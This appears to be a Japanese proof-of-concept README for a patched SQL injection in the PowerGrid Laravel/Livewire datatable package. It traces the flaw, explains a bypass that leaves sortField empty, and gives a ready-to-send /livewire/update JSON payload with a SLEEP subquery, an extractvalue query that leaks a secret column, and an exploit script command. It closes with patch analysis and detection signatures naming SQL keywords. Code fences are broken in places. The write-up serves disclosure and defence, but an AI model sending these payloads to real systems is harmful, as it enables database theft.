---

## 🧠 概要

PowerGrid は、Laravel + Livewire 向けの datatable コンポーネントです（約2k スター、Laravel 管理画面で広く使用されています）。そのソート状態は、2つの **public Livewire プロパティ** に保持されています。```php
public string $sortField = 'id';
public string $sortDirection = 'asc';

どちらのプロパティにもホワイトリスト、検証ルール、正規化セッターはありません。 `sortDirection` は
代入されるか反転されるだけです:```php
public function reverseSort(): string    // line 37
{
    return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}

if ($when) {
    $this->rawQueries[] = [
        'method'   => 'orderByRaw',                          // <-- raw sink
        'sql'      => Sql::sortStringAsNumber($this->dataField),
        'bindings' => [],
    ];
}

return $this;

`Sql::sortStringAsNumber()` は、`src/DataSource/Support/Sql.php` (60〜100行目) 内の
`getSortSqlByDriver()` によって構築されるドライバー別の式に解決されます。すべてのドライバーバリアントは
同じリテラルプレースホルダーで終わります:```php
$default = "$sortField+0 {sortDirection}";                                                          // line 76
'8.0.4'  => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}",  // MySQL, line 81
'0'      => "CAST($sortField AS INTEGER) {sortDirection}",                                          // SQLite, line 84
'0'      => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0'      => "CAST(SUBSTRING(...) AS INT) {sortDirection}",                                          // SQL Server, line 90

return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
    $property = trim($matches[1]);

    return data_get($this->component, $property, '');   // line 65 — raw property, no escaping
}, $sql);

そして実行、52行目:```php
$query->{$method}($resolvedSql, $resolvedBindings);   // $method === 'orderByRaw'

---

## 🔓 バイパス — Laravelのバリデーションでは救われない理由

ここが「生の補間」を実際に悪用可能なバグへと変える部分であり、成熟した広く使われているパッケージでこの問題が生き残った理由でもあります。

PowerGridはクエリを**パイプライン**で処理します。そのパイプラインの2つのステージがソート方向に触れます。

**`Sorting` パイプライン** — `src/DataSource/Processors/Database/Pipelines/Sorting.php`:```php
public function handle(mixed $query, Closure $next): mixed
{
    // ...
    if (filled($this->component->sortField)) {          // line 21  <-- THE GUARD
        if ($this->component->multiSort) {
            $this->applyMultipleSort($query);
        } else {
            $this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
        }
    }

    return $next($query);
}

private function applySingleSort(..., string $sortField, string $direction): void
{
    // ...
    $query->orderBy($this->component->resolveSortField($sortField), $direction);   // line 42
}

つまり、通常の経路では — ユーザーが列ヘッダーをクリックし、`sortField=name`、`sortDirection=<payload>` —
フレームワークはインジェクションをブロックします。簡単な監査はここで止まり、「Laravel によって緩和されている」と結論づけます。

**`ColumnRawQueries` パイプライン** — 上に示した2番目のステージ — には**そのようなガードはありません**。見てください
その `handle()`（21〜27行目）: 列を反復処理し、`rawQueries` を持つすべての列に対して、
それらを*無条件に*適用します。`sortField` を参照することはありません。`Sorting`
パイプラインの結果を参照することもありません。

この非対称性がバグです。

| `sortField` | `Sorting` パイプライン | `ColumnRawQueries` パイプライン | 結果 |
|---|---|---|---|
| `"name"` (入力あり) | 実行 → `orderBy()` が**検証** → ペイロードで例外をスロー | 実行 → インジェクション | ❌ 例外でブロック |
| `""` (空) | `filled('')` は `false` → **完全にスキップ** | 実行 → インジェクション | ✅ **インジェクションが成立** |

**`sortField` を空文字列に設定すると**、検証ステージはそれ自体をスキップする一方、raw
ステージは攻撃者の `{sortDirection}` を含む `naturalSort` `ORDER BY` をまだ出力します。Laravel の
検証は決して呼び出されません。なぜなら、それを含むコードパスが決して実行されないからです。

**したがって、完全な攻撃は1つではなく2つのフィールドです:** `sortDirection` がペイロードを運び、
`sortField=""` がドアを開く鍵です。

---

## 🎯 正確なフィールド

すべては Livewire の標準アップデートエンドポイントを通じて行われます。特別なヘッダーも、カスタム
ルートも、管理者機能もありません。

**エンドポイント:** `POST /livewire/update`

**ボディ (JSON):**```json
{
  "_token": "<CSRF token from the page>",
  "components": [
    {
      "snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
      "updates": {
        "sortField": "",
        "sortDirection": "asc, (SELECT SLEEP(3))"
      },
      "calls": []
    }
  ]
}

The payload sits in a full expression slot of the `ORDER BY` list, which is why a bare subquery
works and why the clause remains valid SQL.

---

## 🔬 発見に至った経緯 — コードをたどった道筋

以下は、実際の推論の順序であり、調査を誤検知として終わらせかけたステップも含んでいます。

**1. まず攻撃対象: Livewire の public プロパティは攻撃者の入力である。**
フレームワーク自身のモデルでは、コンポーネントのすべての `public` プロパティが
`/livewire/update` 経由でクライアントから書き込み可能です。したがって、Livewire パッケージの監査で問うべきは「ユーザー入力はあるか」ではなく
「どの public プロパティが危険なシンクに届くか」です。PowerGrid の public プロパティを列挙し、
`$sortField` と `$sortDirection` が、SQL に合成されるために存在するプロパティとして浮上しました。

**2. それらをすべてのシンクまで追跡する。** パッケージ内で生 SQL 系 API — `orderByRaw`,
`whereRaw`, `selectRaw`, `havingRaw`, `DB::raw` — を grep し、これらのプロパティを受け取る可能性のある箇所を探しました。`Macros.php` にある `naturalSort` の `'method' => 'orderByRaw'` が該当しました。

**3. プロパティとシンクの間の接続を見つける。** `Sql.php` の生 SQL は `$this->sortDirection` を参照しておらず、リテラル文字列 `{sortDirection}` を含んでいました。このようなテンプレート化は、どこかにリゾルバが存在することを示唆します。波括弧パターンを grep すると、
`ColumnRawQueries::resolvePlaceholders()` と、その中の `data_get($this->component, $property, '')` —
エスケープのない汎用プロパティリーダーにたどり着きました。ソースとシンクがここで接続されました。

**4. ほぼ調査を終わらせたステップ: 緩和策。** 最初の実地テスト — `sortDirection` にペイロードを設定して発火させると、漏洩ではなく
`InvalidArgumentException: Order direction must be "asc" or "desc".` が発生しました。Laravel の `orderBy()` が
捕捉していたのです。ここで「フレームワークが緩和している、悪用不可」という結論に飛びつきそうになりますが、
その結論は誤りでした。

**5. 例外が発生したことだけでなく、どこから来たのかを問う。** トレースは `Sorting` パイプラインの `orderBy()` を指し示しました — これはステップ 2 で特定した `orderByRaw()` シンクとは**異なるステージ**です。2 つのステージが同じ `ORDER BY` にそれぞれ独立して書き込んでおり、検証しているのはそのうちの 1 つだけです。これにより、問いは「Laravel のバリデータを破れるか?」(いいえ — これは厳密比較です) から、
**「検証ステージを実行せずに生 SQL ステージに到達できるか?」** へと変わりました。

**6. ガードを読む。** 検証ステージは `if (filled($this->component->sortField))` の下で実行されます。
`filled('')` は `false` です。生 SQL ステージにはガードがまったくありません。バイパスはその直接的な結果です:
`sortField=""` を送ると、ガードされていないステージだけが実行されます。

**7. 独立した手法で、それぞれ 2 回、経験的に確認する。** 単一の陽性シグナルは発見とは言えません — 時間差はレートリミッターの可能性があり、エラーは一般的な 500 の可能性があります。エラーに基づく証明(データベースが注入されたサブクエリをそのままエコーバックする)と、
時間に基づくブールオラクル(実データ上で TRUE と FALSE を区別する)の両方が、確定と呼ぶ前に必要でした。[証拠](#-evidence) を参照してください。

**一般化できる教訓:** フレームワークレベルの緩和策は、それが存在するコードパスだけを保護します。
2 つのパイプラインステージが同じ SQL 句に書き込む場合、「フレームワークが検証している」という主張は、そのうちの 1 つについての主張にすぎません。検証が実際にどのステージに存在するのか、そして危険なステージが単独で実行され得るのかを常に問うてください。

---

## 🧪 証拠

ラボ: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB、`name` 列が `->naturalSort(true)` を宣言した `RoomTable`
PowerGrid コンポーネントと、`secret` 列を保持する `rooms` テーブルを使用。完全なラボは [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/) にあります。

**エラーベース — 注入されたサブクエリがそのまま DB に到達**(HTTP 500、`SQLSTATE[HY000] 1105`):```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
  (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0

TRUE/FALSE ペアこそが、これを「何かが遅い」から「あなたのデータを読み取れる」に変えるものです:
同じリクエスト形状は、攻撃者には見えない値に対する条件に応じて、はっきりと分離した
2つのタイミングを返します。これが機能するオラクルであり、`poc/exploit_powergrid_sqli.py` は
それを1文字ずつ読み進めます。

> `SLEEP(3)` は ~3秒ではなく ~9秒になります。これは、ソートがスリープ式を
> 複数行にわたって適用するためです。弱いシグナルではなく、より強いシグナルです。

生のメモ: [`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/evidence/EVIDENCE.txt)。

---

## ⚙️ 概念実証

依存関係なし、Python 3 標準ライブラリのみ。```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms

パッチ適用済みの `6.10.4` ターゲットに対して、スクリプトは時間差を報告せずクリーンに終了する — 許可リストによりすべてのペイロードが `asc` に潰される。

---

## ✅ 修正内容の分析 (`v6.10.4`)

メンテナは **4 つの呼び出しサイトにわたる多層防御** を導入した — この種のバグに対する正しい形である。プリミティブ:```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
    $direction = strtolower(trim((string) $direction));

    return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}

**アップグレード — 回避策を試みないでください。** 今日どうしてもアップグレードできない場合は、一時的な
緩和策はコンポーネント自体でサニタイズすることです：```php
public function updatedSortDirection(): void
{
    $this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
        ? strtolower(trim($this->sortDirection))
        : 'asc';
}

`naturalSort` カラムがない場合、生の `ORDER BY` が登録されることはなく、主要なパスには到達できません。なお、`v6.10.4` は `sortUsing` コールバックパスも強化しています。カスタムソートコールバックが方向に基づいて生の SQL を組み立てる場合、`naturalSort` の有無にかかわらず、そのパス経由でも攻撃にさらされます。

### 悪用の検出

この攻撃は普通に見える Livewire リクエストです。アラートの対象となる特別なエンドポイントやメソッドはありません。`sortDirection` の**値**に注目してください。正規のトラフィックは常に `asc` か `desc` のみを送信します。

それ以外は、定義上、異常です。実際的なシグナルは次のとおりです:

- `POST /livewire/update` で、JSON ボディに `"sortDirection"` が含まれ、その値が正確に `asc`/`desc` ではない(大文字小文字は区別しない)もの — 確度が高く、誤検知はほぼゼロ;
- 同じリクエストが `"sortField":""`(空)を非自明な `sortDirection` と共に含む場合 — まさにバイパスのシグネチャ;
- その値に含まれる SQL キーワード: `SELECT`、`SLEEP`、`BENCHMARK`、`extractvalue`、`updatexml`、`0x`;
- `order by` を参照する `SQLSTATE[HY000] 1105` または `SQLSTATE[42000]` を含むアプリケーションエラーログ;
- 同じ形状の POST のバーストと、応答時間が二峰性(高速/低速)にクラスタリングする様子 — ブラインドオラクルが探索されている兆候。

Two Sigma ルールが [`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/sortdirection-sqli.yml) に提供されています — 1つはリクエストボディ用、もう1つはボディロギングが利用できない場合のデータベースエラーシグネチャ用です。到達可能な PowerGrid コンポーネント(前提条件となる攻撃面)をフラグする Nuclei テンプレートは [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/nuclei-powergrid-sortdirection-sqli.yaml) にあります。ヒットしたものは `poc/exploit_powergrid_sqli.py --check-only` で確認してください。

---

## 📚 参考文献

- GitHub Security Advisory — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- 修正リリース — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- 修正差分 — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [SQL コマンドで使用される特殊要素の不適切な無害化](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [プロパティはクライアントから書き込み可能](https://livewire.laravel.com/docs/properties#security-concerns)

---

## ⚖️ 法的告知

協調開示、リリース済みパッチ、公開されたベンダーアドバイザリの後に公開されています。PoC は [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/) 内のローカルラボを対象としており、自組織の露出を検証する防御者と、このバグクラスを研究する研究者を対象としています。テストを許可されていないシステムに対して実行することは違法です。それをどう使うかについては、あなたが責任を負います。

---

**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)